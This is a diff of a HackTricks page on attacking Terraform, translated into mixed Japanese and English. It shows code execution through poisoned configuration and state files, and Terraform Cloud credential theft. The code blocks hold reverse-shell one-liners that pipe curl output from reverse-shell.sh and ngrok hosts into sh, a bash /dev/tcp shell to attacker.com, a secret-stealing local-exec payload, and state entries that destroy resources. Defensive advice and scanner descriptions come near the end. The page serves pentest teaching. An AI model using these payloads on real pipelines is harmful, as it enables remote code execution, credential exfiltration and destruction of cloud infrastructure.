a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 2bcef0c3d..80886e541 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,68 +1,68 @@ -# Terraform セキュリティ +# Terraform Security {{#include ../banners/hacktricks-training.md}} -## 基本情報 +## Basic Information -[ドキュメントより:](https://developer.hashicorp.com/terraform/intro) +[From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform は **インフラストラクチャをコードとして定義するツール** で、**クラウドおよびオンプレミスのリソース** をバージョン管理、再利用、共有できる人間が読みやすい構成ファイルで定義できます。これにより、一貫したワークフローでインフラ全体をライフサイクルを通じてプロビジョニングおよび管理できます。Terraform は compute、storage、networking のような低レベルのコンポーネントだけでなく、DNS エントリや SaaS 機能のような高レベルのコンポーネントも管理できます。 +HashiCorp Terraform は、**infrastructure as code tool** であり、**cloud と on-prem resources** の両方を、人が読める configuration files で定義でき、それらを version 管理、再利用、共有できます。その後、ライフサイクル全体を通して、すべての infrastructure を provision し管理するための一貫した workflow を使えます。Terraform は compute、storage、networking resources のような低レベルのコンポーネントだけでなく、DNS entries や SaaS features のような高レベルのコンポーネントも管理できます。 -#### Terraform はどのように動作するか？ +#### How does Terraform work? -Terraform はクラウドプラットフォームや他のサービスの API を通じてリソースを作成・管理します。プロバイダは、アクセス可能な API を持つほぼすべてのプラットフォームやサービスと Terraform を連携させます。 +Terraform は、その application programming interfaces (APIs) を通じて cloud platforms やその他の services 上の resources を作成・管理します。Providers により、Terraform はアクセス可能な API を持つほぼあらゆる platform や service と連携できます。 -![](<../images/image (177).png>) +![Terraform provider workflow diagram connecting Terraform to a provider and target API](<../images/image (177).png>) -HashiCorp と Terraform コミュニティは既に **1700 を超えるプロバイダ** を作成しており、さまざまなタイプのリソースやサービスを管理しています。この数は増え続けています。公開されているプロバイダはすべて [Terraform Registry](https://registry.terraform.io/) で確認でき、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog などが含まれます。 +HashiCorp と Terraform community はすでに、さまざまな種類の resources と services を管理するために **1700以上の providers** を作成しており、この数は増え続けています。Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, その他多数を含む、公開されているすべての providers は [Terraform Registry](https://registry.terraform.io/) で見つけられます。 -Terraform のコアワークフローは次の3つの段階で構成されます： +Terraform の基本的な workflow は 3 つの stage で構成されます。 -- **Write:** 複数のクラウドプロバイダやサービスにまたがるリソースを定義します。例えば、VPC ネットワーク内の仮想マシンにアプリケーションをデプロイし、security groups と load balancer を構成する設定を作成することがあります。 -- **Plan:** Terraform は、既存のインフラとあなたの設定に基づいて、作成・更新・破棄されるインフラを記述する実行プランを作成します。 -- **Apply:** 承認されると、Terraform はリソース依存関係を尊重して適切な順序で提案された操作を実行します。例えば、VPC のプロパティを更新してその VPC 内の仮想マシンの数を変更した場合、Terraform は仮想マシンをスケールする前に VPC を再作成します。 +- **Write:** 複数の cloud providers や services にまたがる resources を定義します。たとえば、Virtual Private Cloud (VPC) network 上の virtual machines に、security groups と load balancer を使って application を deploy する configuration を作成できます。 +- **Plan:** Terraform は、既存の infrastructure とあなたの configuration に基づいて、作成・更新・破棄する infrastructure を説明する execution plan を作成します。 +- **Apply:** 承認されると、Terraform は resource dependencies を考慮しながら、提案された operations を正しい順序で実行します。たとえば、VPC の properties を更新してその VPC 内の virtual machines の数を変更した場合、Terraform は virtual machines を scale する前に VPC を再作成します。 -![](<../images/image (215).png>) +![Terraform workflow diagram showing Write, Plan, and Apply stages from configuration to providers](<../images/image (215).png>) -### Terraform ラボ +### Terraform Lab -単にコンピュータに Terraform をインストールしてください。 +computer に terraform を install するだけです。 -こちらに [ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli) があり、こちらが [Terraform のダウンロード方法（推奨）](https://www.terraform.io/downloads) です。 +ここに [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) があり、ここに [terraform を download する best way](https://www.terraform.io/downloads) があります。 ## RCE in Terraform: config file poisoning -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below). +Terraform には、列挙できる web page や network service を公開する platform が **ありません**。したがって、terraform を compromise する唯一の方法は、**terraform configuration files を追加/修正できること**、または **terraform state file を修正できること** です（下の chapter を参照）。 -However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. +しかし terraform は、正しく動作するためにさまざまな場所へ **privileged access** を持つため、compromise されると **非常に sensitive な component** です。 -The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**. +攻撃者が terraform が動作している system を compromise する主な方法は、**terraform configurations を保存している repository を compromise すること** です。なぜなら、どこかの時点でそれらは **interpreted** されるからです。 -Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**: +実際、**PR** が作成された後に **terraform plan/apply を自動実行** する solution もあり、たとえば **Atlantis** があります: {{#ref}} atlantis-security.md {{#endref}} -If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`. +terraform file を compromise できるなら、誰かが `terraform plan` や `terraform apply` を実行したときに RCE を起こすさまざまな方法があります。 ### Terraform plan -Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`. +Terraform plan は terraform で **最も使われる command** であり、terraform を使う developers/solutions は常にこれを呼び出すため、**最も簡単に RCE を得る方法** は、`terraform plan` で arbitrary commands を実行するような terraform config file を poison することです。 **Using an external provider** -Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. +Terraform は [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) を提供しており、Terraform と external programs の間をつなぐ方法を提供します。`external` data source を使えば、`plan` 実行中に arbitrary code を実行できます。 -Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`: +以下のようなものを terraform config file に inject すると、`terraform plan` 実行時に rev shell が実行されます: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**カスタムプロバイダの使用** +**カスタム provider の使用** -攻撃者は [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) を [Terraform Registry](https://registry.terraform.io/) に提出し、その後 feature branch の Terraform コードにそれを追加することができます（[example from here](https://alex.kaskaso.li/post/terraform-plan-rce)）： +攻撃者は [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) を [Terraform Registry](https://registry.terraform.io/) に送信し、その後、feature branch の Terraform code にそれを追加できる ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce))： ```javascript terraform { required_providers { @@ -75,28 +75,28 @@ version = "1.0" provider "evil" {} ``` -プロバイダは `init` 時にダウンロードされ、`plan` が実行されると悪意のあるコードが実行されます +providerは`init`でダウンロードされ、`plan`が実行されるときにmalicious codeを実行する -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +例は [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) で見つけられる -**外部参照の利用** +**外部参照を使用する** -どちらのオプションも有用ですが、あまりstealthyではありません（2つ目の方が1つ目よりstealthyですが、より複雑です）。次の提案に従うことで、この攻撃をさらに**stealthier way**で行うことができます： +上で述べた2つのオプションはどちらも有用ですが、あまり stealthy ではありません（2つ目は1つ目より stealthy ですが、より複雑です）。以下の提案に従えば、さらに **stealthy** な方法でこの attack を行えます: -- terraformファイルにrev shellを直接追加する代わりに、rev shellを含む**外部リソースを読み込む**ことができます： +- rev shell を terraform file に直接追加する代わりに、rev shell を含む **external resource をload** できます: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +rev shell code は [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) で見つけられます -- 外部リソースでは、**ref** 機能を使ってリポジトリ内のブランチにある **terraform rev shell code in a branch** を隠します。例えば: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- external resource では、**ref** feature を使って、repo 内の **terraform rev shell code を branch に隠す** ことができます。例えば: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply はすべての変更を反映するために実行されます。また、[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html) を使った **a malicious Terraform file with** を注入して RCE を得るように悪用することもできます。\ -次のようなペイロードが `main.tf` ファイルに含まれるようにすればよいです: +Terraform apply は、すべての変更を適用するために実行されます。また、**local-exec** を使った [**malicious Terraform file**](https://www.terraform.io/docs/provisioners/local-exec.html) を inject して、RCE を得るためにも abuse できます。\ +以下のような payload のいずれかが `main.tf` file に入るようにするだけで十分です: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -前の手法からの**提案に従い**、**外部参照を使用してよりステルスに実行する**ことでこの攻撃を行ってください。 +前の技法の**suggestions**に従って、**external references**を使い、このattackを**stealthier**な方法で実行します。 -## シークレットのダンプ +## Secrets Dumps -terraform ファイルに次のようなものを追加し、`terraform apply` を実行すると、terraform が使用する**シークレット値をダンプさせる**ことができます: +terraform file に次のようなものを追加することで、`terraform apply` 実行時に terraform で使われる**secret values**をdumpできます: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,15 +124,15 @@ value = nonsensitive(var.do_token) ``` ## Terraform State Filesの悪用 -terraform state files に対して書き込み権限があるが terraform のコードを変更できない場合、[**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) はそのファイルを利用するための興味深い方法をいくつか紹介しています。たとえ config files に書き込み権限があっても、state files を使うベクターの方が痕跡を残さずに済むことが多く、`git` の履歴に記録が残りません。 +terraform state files への書き込み権限はあるが terraform コードは変更できない場合、[**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) は、この file を利用するためのいくつかの興味深い option を示しています。config files への書き込み権限がある場合でも、state files の vector を使う方がはるかに stealthy なことが多いです。`git` history に痕跡を残さないからです。 -### RCE in Terraform: config file poisoning +### TerraformでのRCE: config file poisoning -It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider. +[custom provider を作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ことは可能で、terraform state file 内の provider の1つを malicious なものに置き換えるか、malicious provider を参照する fake resource を追加するだけでよいです。 -The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce). +provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) は、この research を基にしてこの principle を weaponize しています。fake resource を追加し、`command` attribute に実行したい arbitrary bash command を指定できます。`terraform` の run がトリガーされると、これは `terraform plan` と `terraform apply` の両方の step で読み込まれ、実行されます。`terraform apply` step の場合、`terraform` は command 実行後に state file から fake resource を削除し、自分で cleanup します。詳細と完全な demo は、この provider の source code を host している [GitHub repository](https://github.com/offensive-actions/terraform-provider-statefile-rce) で確認できます。 -To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes: +直接使うには、`resources` array の任意の位置に以下を追加し、`name` と `command` attributes をカスタマイズします: ```json { "mode": "managed", @@ -152,15 +152,15 @@ To use it directly, just include the following at any position of the `resources ] } ``` -そして、`terraform` が実行されるとすぐに、あなたのコードが実行されます。 +Then, as soon as `terraform` gets executed, your code will run. ### リソースの削除 -リソースを破棄する方法は2つあります： +リソースを破棄する方法は2つあります: -1. **破棄対象の実際のリソースを指す、ランダムな名前のリソースをstate ファイルに挿入する** +1. **state file に、削除したい実際の resource を指すランダム名の resource を追加する** -terraform はそのリソースが存在すべきでないと判断するため、実際のリソース ID に従ってそれを破棄します。前ページの例： +terraform はその resource が存在すべきではないと判断するため、それを destroy します（指定された実際の resource ID に従って）。前のページの例: ```json { "mode": "managed", @@ -176,13 +176,13 @@ terraform はそのリソースが存在すべきでないと判断するため ] }, ``` -2. **更新できないようにリソースを変更して削除させる（つまり削除されて再作成される）** +2. **resourceを削除対象にするため、更新不可能な方法で変更する（そのため削除して再作成される）** -EC2 インスタンスの場合、インスタンスタイプを変更するだけで terraform が削除して再作成します。 +EC2 instanceの場合、instanceのtypeを変更するだけで、terraformがそれを削除して再作成するのに十分です。 -### ブラックリスト化されたプロバイダを置き換える +### blacklisted provider を置き換える -もし `hashicorp/external` がブラックリストに登録されている場合、以下の手順で `external` プロバイダを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開されている external provider のフォークを使用しています。自分のフォークや再実装を公開しても構いません。 +`hashicorp/external` がblacklistedされている状況に遭遇した場合は、以下のようにして `external` provider を再実装できます。注意: 私たちは https://registry.terraform.io/providers/nazarewk/external/latest で公開されている external provider の fork を使用します。あなた自身の fork や再実装を公開することもできます。 ```terraform terraform { required_providers { @@ -193,27 +193,27 @@ version = "3.0.0" } } ``` -その後、通常どおり `external` を使用できます。 +その後は、通常どおり `external` を使用できます。 ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Terraform Cloud speculative plan による RCE と credential exfiltration +## Terraform Cloud speculative plan RCE and credential exfiltration -このシナリオは Terraform Cloud (TFC) の runners を speculative plans の間に悪用し、ターゲットのクラウドアカウントへピボットします。 +このシナリオは、speculative plans 中の Terraform Cloud (TFC) runners を悪用して、target cloud account へ pivot します。 -- Preconditions: -- 開発者のマシンから Terraform Cloud トークンを盗む。CLI はトークンをプレーンテキストで `~/.terraform.d/credentials.tfrc.json` に保存している。 -- そのトークンはターゲットの organization/workspace へアクセスでき、少なくとも `plan` 権限を持っている必要がある。VCS-backed workspaces は CLI からの `apply` をブロックするが、それでも speculative plans は許可する。 +- 前提条件: +- developer machine から Terraform Cloud token を steal する。CLI は token を `~/.terraform.d/credentials.tfrc.json` に plaintext で保存する。 +- その token は target organization/workspace への access と、少なくとも `plan` permission を持っている必要がある。VCS-backed workspaces は CLI からの `apply` を block するが、speculative plans は引き続き許可される。 -- TFC API を用いて workspace と VCS 設定を確認する: +- TFC API を使って workspace と VCS 設定を discover する: ```bash export TF_TOKEN= curl -s -H "Authorization: Bearer $TF_TOKEN" \ https://app.terraform.io/api/v2/organizations//workspaces/ | jq ``` -- external data source と Terraform Cloud "cloud" ブロックを使用して VCS-backed workspace をターゲットにし、speculative plan の実行中にコード実行をトリガーする: +- external data source と Terraform Cloud の "cloud" block を使用して VCS-backed workspace を target し、speculative plan 中に code execution を trigger する: ```hcl terraform { cloud { @@ -226,30 +226,30 @@ data "external" "exec" { program = ["bash", "./rsync.sh"] } ``` -TFC runner上でreverse shellを取得するためのrsync.shの例: +TFC runner で reverse shell を取得するための rsync.sh の例: ```bash #!/usr/bin/env bash bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' ``` -エフェメラルランナー上でプログラムを実行するための試行的プランを実行する： +一時的なrunnerでプログラムを実行するための speculative plan を実行してください: ```bash terraform init terraform plan ``` -- ランナーから注入されたクラウド認証情報を列挙して持ち出す。実行中、TFC はファイルと環境変数を介してプロバイダ認証情報を注入します: +- runner から injected された cloud credentials を enumerate して exfiltrate します。実行中、TFC は provider credentials を files と environment variables 経由で inject します： ```bash env | grep -i gcp || true env | grep -i aws || true ``` -ランナーの作業ディレクトリに期待されるファイル: +ランナーの作業ディレクトリにあると想定されるファイル: - GCP: -- `tfc-google-application-credentials` (Workload Identity Federation の JSON 設定) -- `tfc-gcp-token` (短期の GCP アクセストークン) +- `tfc-google-application-credentials` (Workload Identity Federation JSON config) +- `tfc-gcp-token` (短命の GCP access token) - AWS: -- `tfc-aws-shared-config` (web identity/OIDC ロール引受設定) -- `tfc-aws-token` (短期トークン; 一部の組織は静的キーを使用する場合あり) +- `tfc-aws-shared-config` (web identity/OIDC role assumption config) +- `tfc-aws-token` (短命の token; 一部の組織では static keys を使う場合がある) -- 短期の認証情報を別経路で使用して VCS のゲートを回避する: +- 短命の credentials を out-of-band で使って VCS gates を bypass する: GCP (gcloud): ```bash @@ -263,54 +263,55 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config export AWS_PROFILE=default aws sts get-caller-identity ``` -これらの認証情報を使うと、攻撃者はネイティブCLIを直接使ってリソースを作成/変更/削除でき、VCS経由での`apply`をブロックするPRベースのワークフローを回避できます。 +これらの creds があれば、攻撃者はネイティブ CLI を使って直接 resources を create/modify/destroy でき、VCS による `apply` をブロックする PR ベースの workflows を回避できます。 - Defensive guidance: -- TFC ユーザー/チームおよびトークンには最小権限の原則を適用する。メンバーシップを監査し、過剰な権限を持つオーナーを避ける。 -- 可能な場合、機密性の高いVCS-backedワークスペースでは`plan`権限を制限する。 -- Sentinel ポリシーで provider/data source の allowlists を強制し、`data "external"` や不明なプロバイダーをブロックする。provider フィルタリングに関する HashiCorp のガイダンスを参照する。 -- 静的なクラウド資格情報よりも OIDC/WIF を優先する。runners を機密とみなし、投機的な plan 実行や予期しない egress を監視する。 -- `tfc-*` 認証情報アーティファクトの持ち出し (exfiltration) を検出し、plan 実行中の疑わしい `external` プログラム使用をアラートする。 +- TFC users/teams と tokens に least privilege を適用する。memberships を監査し、過剰な owners を避ける。 +- 可能な場合は、sensitive な VCS-backed workspaces で `plan` permission を制限する。 +- Sentinel policies で provider/data source allowlists を強制し、`data "external"` や unknown providers を block する。HashiCorp の provider filtering の guidance を参照。 +- static cloud credentials より OIDC/WIF を優先する。runners は sensitive とみなす。speculative plan runs と unexpected egress を監視する。 +- `tfc-*` credential artifacts の exfiltration を検知し、plans 中の suspicious な `external` program usage を alert する。 -## Terraform Cloud の侵害 +## Compromising Terraform Cloud -### トークンを使用する +### Using a token -**[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)** の説明のとおり、terraform CLI はトークンをプレーンテキストで **`~/.terraform.d/credentials.tfrc.json`** に保存します。これを盗むと攻撃者はトークンのスコープ内でユーザーになりすますことができます。 +**[この投稿で説明されているように](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**、terraform CLI は tokens を **`~/.terraform.d/credentials.tfrc.json`** に plaintext で保存します。この token を盗めば、攻撃者は token の scope 内で user を impersonate できます。 -このトークンを使用すると、次のように org/workspace を取得することができます: +この token を使うと、次のように org/workspace を取得できます: ```bash GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod Authorization: Bearer ``` -前章で説明したように、**`terraform plan`** を使用して任意のコードを実行することが可能です。 +Then 以前の章で説明したように、**`terraform plan`** を使って arbitrary code を実行できます。 -### クラウドへの脱出 +### cloud への Escaping -ランナーが何らかのクラウド環境内に存在する場合、そのランナーに紐づけられたプリンシパルのトークンを取得し、アウトオブバンドで利用することが可能です。 +その後、runner が何らかの cloud 環境に配置されている場合、runner にアタッチされた principal の token を取得し、out of band で使用することが可能です。 -- **GCP files (現在の実行ワーキングディレクトリに存在)** -- `tfc-google-application-credentials` — 外部アイデンティティを交換する方法を Google に指示する Workload Identity Federation(WIF) 用の JSON 設定。 -- `tfc-gcp-token` — 上記で参照される短期間有効（≈1時間）の GCP アクセストークン +- **GCP files (現在の run working directory に存在)** +- `tfc-google-application-credentials` — Google が external identity を交換する方法を示す Workload Identity Federation(WIF) 用の JSON config。 +- `tfc-gcp-token` — 上記で参照される short-lived（約1時間）の GCP access token -- **AWS ファイル** -- `tfc-aws-shared-config` — web identity federation/OIDC によるロールアサンプション用の JSON（静的キーより推奨）。 -- `tfc-aws-token` — 短期間有効なトークン、または設定ミスがある場合は静的な IAM キーの可能性もある。 +- **AWS files** +- `tfc-aws-shared-config` — web identity federation/OIDC role assumption 用の JSON + （static keys より推奨）。 +- `tfc-aws-token` — short-lived token、または misconfigured の場合は static IAM keys の可能性があります。 -## 自動監査ツール +## Automatic Audit Tools ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk は Terraform、CloudFormation、Kubernetes、その他の IaC フォーマットにおける脆弱性や設定ミスを検出する包括的な Infrastructure as Code (IaC) スキャンソリューションを提供します。 +Snyk は、Terraform、CloudFormation、Kubernetes、その他の IaC 形式における脆弱性と misconfigurations を検出する、包括的な Infrastructure as Code (IaC) スキャンソリューションを提供します。 -- **機能:** -- セキュリティ脆弱性やコンプライアンス問題に対するリアルタイムスキャン。 -- バージョン管理システム（GitHub、GitLab、Bitbucket）との統合。 -- 自動的な修正用プルリクエスト。 -- 詳細な修復アドバイス。 -- **サインアップ:** [Snyk](https://snyk.io/) でアカウントを作成してください。 +- **Features:** +- セキュリティ脆弱性と compliance 問題をリアルタイムでスキャン。 +- version control systems (GitHub, GitLab, Bitbucket) との integration。 +- 自動修正の pull requests。 +- 詳細な remediation advice。 +- **Sign Up:** [Snyk](https://snyk.io/) でアカウントを作成してください。 ```bash brew tap snyk/tap brew install snyk @@ -319,28 +320,28 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** は、infrastructure as code (IaC) 向けの静的コード解析ツールであり、イメージやオープンソースパッケージ向けのソフトウェア構成解析 (SCA) ツールでもあります。 +**Checkov** は、infrastructure as code (IaC) 向けの static code analysis tool であり、images と open source packages 向けの software composition analysis (SCA) tool でもあります。 -これは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または[OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンでセキュリティおよびコンプライアンスの設定ミスを検出します。 +[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または [OpenTofu](https://opentofu.org/) を使ってプロビジョニングされた cloud infrastructure をスキャンし、graph-based scanning を使用して security と compliance の misconfigurations を検出します。 -また、[Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行し、オープンソースパッケージやイメージを対象に Common Vulnerabilities and Exposures (CVEs) を検出するスキャンを行います。 +また、[Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。これは、open source packages と images を Common Vulnerabilities and Exposures (CVEs) の観点でスキャンするものです。 ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` は、terraform に対する軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークで、あなたの Infrastructure-as-Code (IaC) に対するネガティブテスト機能を提供します。 +[**docs**](https://github.com/terraform-compliance/cli) によると、`terraform-compliance` は、terraform に対する軽量で security と compliance に特化したテストフレームワークであり、インフラストラクチャ・アズ・コードに対して negative testing を可能にする。 -- **compliance:** 実装されたコードがセキュリティ基準や独自の基準に従っていることを保証します -- **behaviour driven development:** ほぼすべてに対して BDD があるなら、IaC にもあるべきでは？ -- **portable:** `pip` からインストールするか `docker` で実行するだけです。See [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** デプロイ前にコードを検証します -- **easy to integrate:** pipeline（または git hooks）で実行でき、すべてのデプロイが検証されることを保証できます。 -- **segregation of duty:** テストを別のリポジトリに保持し、別チームが責任を持つようにできます。 +- **compliance:** 実装された code が security standards と独自の custom standards に従っていることを保証する +- **behaviour driven development:** ほぼ何にでも BDD があるなら、IaC にもあってよいのでは？ +- **portable:** `pip` でインストールするか、`docker` で実行するだけ。 [Installation](https://terraform-compliance.com/pages/installation/) を参照 +- **pre-deploy:** デプロイされる前に code を検証する +- **easy to integrate:** pipeline（または git hooks）で実行して、すべての deployments が検証されるようにできる +- **segregation of duty:** 別の team が担当する、別 repository に tests を置いておける > [!NOTE] -> 残念ながら、コードがあなたがアクセスできないいくつかの providers を使用している場合、`terraform plan` を実行できず、このツールを動かせない可能性があります。 +> 残念ながら、code がアクセス権のない provider を使っている場合、`terraform plan` を実行してこの tool を使うことはできない。 ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -348,57 +349,57 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec は Terraform コードの静的解析を用いて、潜在的な誤設定を検出します。 +[**docs**](https://github.com/aquasecurity/tfsec) より: tfsec は terraform コードの静的解析を使って、潜在的な設定ミスを検出します。 -- ☁️ 主要（および一部のマイナー）なクラウドプロバイダ全体の誤設定をチェックします +- ☁️ 主要な（および一部の小規模な）すべての cloud provider にわたる設定ミスをチェック - ⛔ 数百の組み込みルール -- 🪆 モジュール（ローカルおよびリモート）をスキャンします -- ➕ HCL 式とリテラル値の両方を評価します -- ↪️ Terraform 関数（例: `concat()`）を評価します -- 🔗 Terraform リソース間の関係性を評価します -- 🧰 Terraform CDK と互換性があります -- 🙅 ユーザー定義の Rego ポリシーを適用（および拡張）します -- 📃 複数の出力フォーマットをサポート: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- 🛠️ 設定可能（CLI フラグおよび/または設定ファイル経由） -- ⚡ 非常に高速で、大規模なリポジトリを素早くスキャンできます +- 🪆 modules（ローカルおよびリモート）をスキャン +- ➕ HCL 式とリテラル値の両方を評価 +- ↪️ `concat()` などの Terraform functions を評価 +- 🔗 Terraform resources 間の関係を評価 +- 🧰 Terraform CDK と互換性あり +- 🙅 ユーザー定義の Rego policies を適用（および強化） +- 📃 複数の出力形式をサポート: lovely（デフォルト）、JSON、SARIF、CSV、CheckStyle、JUnit、text、Gif。 +- 🛠️ 設定可能（CLI flags や config file 経由） +- ⚡ 非常に高速で、大規模な repositories も素早くスキャン可能 ```bash brew install tfsec tfsec /path/to/folder ``` ### [terrascan](https://github.com/tenable/terrascan) -TerrascanはInfrastructure as Code向けのstatic code analyzerです。Terrascanを使用すると次のことが可能です： +Terrascan は Infrastructure as Code のための静的コードアナライザです。Terrascan により、以下が可能になります。 -- シームレスに infrastructure as code の設定ミスをスキャンする。 -- プロビジョニングされたクラウドインフラの設定変更（ポスチャードリフトを引き起こすもの）を監視し、安全なポスチャーに戻すことを可能にする。 -- セキュリティ脆弱性とコンプライアンス違反を検出する。 -- クラウドネイティブインフラのプロビジョニング前にリスクを軽減する。 -- ローカルでの実行や CI\CD との統合など柔軟に運用できる。 +- Infrastructure as code の 